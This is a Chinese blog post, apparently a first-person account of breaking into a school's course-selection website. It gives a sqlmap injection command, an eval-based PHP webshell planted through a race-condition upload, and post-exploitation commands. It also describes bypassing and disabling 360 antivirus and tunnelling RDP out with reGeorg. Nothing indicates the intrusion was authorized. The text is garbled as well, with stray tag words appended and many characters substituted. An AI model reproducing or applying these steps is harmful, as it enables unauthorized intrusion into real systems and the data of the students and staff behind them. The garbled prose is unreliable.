以前对渗透这方面的学习一直只是学到了Getshell为止,可是其实渗透能够说Getshell仅仅是一个开端,接下去的还有远程链接,域渗透等领域,此次恰好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程php
该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,竟然扫出了一个注入,一看,原来是个宽字节注入 前端
简单测了一下,发现并无什么过滤,那就常规操做,用SQLmap跑一下python
python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
复制代码
接下来即是爆库,爆表,爆列,爆值等常规操做。 获取Admin表中的帐号密码,虽然说密码是md5加密的了,可是去cmd5平台上一查,仍是很方便的进入了后台 git
接下来即是寻求Getshell的机会了 github
注意到这里有个上传文件的地方,从源码中能够看到是Fckeditor编辑器 从网上搜索相关的漏洞,首先先查看版本 web
发现是2.6.6版本的,遗憾的是只能找到2.6.6asp版本的洞,PHP版本的并不能找到相关的漏洞,而用了几个EXP去试试运气也都碰壁了,渗透原本到此就受阻 可是忽然发现还有一个上传学生名单的接口 sql
测试了一下,只有一个简单的前端认证,而且用burpsuite一看,还有了惊喜的发现shell
文件不只上传成功了,而且还返回了相应的路径,当下便想到来连shell了,但当我想来连之时,却发现文件被删了,由文件路径里面有个temp,一会儿就想到后端确定写了一个自动清空temp目录的函数,可是解决思路也是很明确的,就是条件竞争嘛,经过多线程发包的方法,来实现必定时间内的文件访问 这里我将要发包的文件改成:编程
<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>
复制代码
只要咱们能访问到它一次,这个程序就会自动在父目录里面写入一个shell,也就实现了跳出temp目录的写shell了。 用burpsuite的intruder模块不断发包,再访问咱们上传的文件,便实现了成功写shell的目的,如图,Getshell: 后端
systeminfo
查看系统相关信息
netstat -ano
查看开放的端口
能够看到3389端口是打开的,也就是能够进行远程链接 whoami
查看当前用户
能够看到是system权限,原本我觉得大功告成,接下来就是建立管理员用户,进行远程链接之时,可是发现不管如何都没法把用户添加进管理员组 在网上查了不少资料,有人说是可能有杀毒软件。tasklist
一看,果真有360 那么问题到这里就只有三条路了: 1. 杀掉360,看看能不能利用system的高权限杀掉360 2. 获得其余管理员帐户的密码或者密码的hash值,利用其余管理员的帐户进行登陆 2. 绕过360建立一个管理员帐号
我对这三种状况都进行了尝试:
sc delete
方法在这台机子上也是行不通的(会被拦截),至少如今看起来这条路堵死了那么就只剩最后一步了,进行远程链接,可是当我想直接链接的时候,发现竟然连不上,用nmap扫了一下端口,发现3389没有开启,可是上面的`netstat -ano`显示3389是有开启的,那就只能说明3389端口是开在内网的,咱们得进行一下内网穿透,把流量转发出来,使用reGeorg进行内网穿透。
复制代码
将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php,php<5.3不能正常使用tunnel.php) 访问目标文件:
说明配置正常 最后,咱们就能成功的使用远程链接了,上了远程链接后,首先退出360全部防御,为接下来的进一步渗透作准备
此次的渗透就先到这里,接下来的域渗透,就等之后有时间再来学习和钻研了。
这是我第一次进行后Getshell的渗透,写的可能很啰嗦而且很LOW,可是主要目的仍是想让我本身记住这一此渗透学习到的知识,等之后有时间了再来继续进行下一步的域渗透